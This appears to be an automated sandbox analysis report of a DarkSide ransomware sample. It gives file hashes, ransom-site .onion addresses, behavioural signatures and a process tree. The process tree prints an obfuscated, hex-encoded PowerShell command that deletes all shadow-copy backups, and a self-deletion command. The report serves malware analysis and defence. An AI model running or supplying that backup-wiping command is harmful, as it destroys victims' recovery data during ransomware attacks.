Resubmissions
27/01/2024, 19:37
240127-yb5pksafd3 1027/01/2024, 19:36
240127-ybqwesafc2 1012/05/2021, 15:56
210512-db4t7vmwas 10Analysis
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max time kernel
91s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
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submitted
27/01/2024, 19:37
General
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Target
06cfe7f5d88e82f7adda6d8333ca8b302debb22904c68a942188be5730e9b3c8.exe
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Size
59KB
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MD5
91e2807955c5004f13006ff795cb803c
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SHA1
a3e7561de73378b453186a6c33858bf47577d69c
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SHA256
06cfe7f5d88e82f7adda6d8333ca8b302debb22904c68a942188be5730e9b3c8
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SHA512
5d98bc32af83462938633c0d2b692d5b69c9c6151459aefc1276d41947e2514c444ed417c19b39b9c5b8d5359dee5fa2d3f7c8c30ae9f2a687cd02ec3a7b6311
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SSDEEP
768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yln/pY23W58:0x7Fu4/ihrhDTV1yl/SZ58
Malware Config
Extracted
C:\Users\README.95b288ea.TXT
darkside
http://darksidedxcftmqa.onion/isolved/OLVrV9bQny0XcUSkk8y6cvFWox_2cRFUiz95xG-hYGKETYuH1rlnl2d5exhQ0jHu
http://darksidfqzcuhtk2.onion/AZHT20L23HCABE7V5FLPMR50Y0LPCNWKLICOH3MP156YR8DTFJGUE935ZG0QYCT6
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Renames multiple (174) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies Control Panel 1 IoCs
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Modifies registry class 5 IoCs
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Suspicious use of AdjustPrivilegeToken 25 IoCs
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Suspicious use of WriteProcessMemory 5 IoCs
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\06cfe7f5d88e82f7adda6d8333ca8b302debb22904c68a942188be5730e9b3c8.exe"C:\Users\Admin\AppData\Local\Temp\06cfe7f5d88e82f7adda6d8333ca8b302debb22904c68a942188be5730e9b3c8.exe"1⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\06CFE7~1.EXE >> NUL2⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
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Filesize
1KB
MD5806286a9ea8981d782ba5872780e6a4c
SHA199fe6f0c1098145a7b60fda68af7e10880f145da
SHA256cd2c977928e78b2d39bba8a726308f17b2946ea3f1a432de209720f691450713
SHA512362df97f9fc9c2f546538814cd0402a364a286326219f03325f8cbd59d33f9d850c26daf42230f0bb4feb7e5134868a51e7a3d2f5bc136fe3de69d5d82c5ae2e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
2KB
MD57fad25f046dfb904a3a0ce766d7da931
SHA12ff8afdb6c4cdedac1683a9a6bb2f9f0a4b73717
SHA2566db701f3454ea0dd8b003a69c69c442eb1817aacb08f6421c01180604b11029b
SHA51265a343a094f6a96372ca08da5d39fd8b44a92e70332c81600420fde46132834117f767fc8a5712a713588681e4c44bfb454beb8a73d9ede306363087339a7813
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Filesize
136KB
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Filesize
64KB
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Filesize
64KB
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Filesize
64KB
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Filesize
10.8MB
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Filesize
10.8MB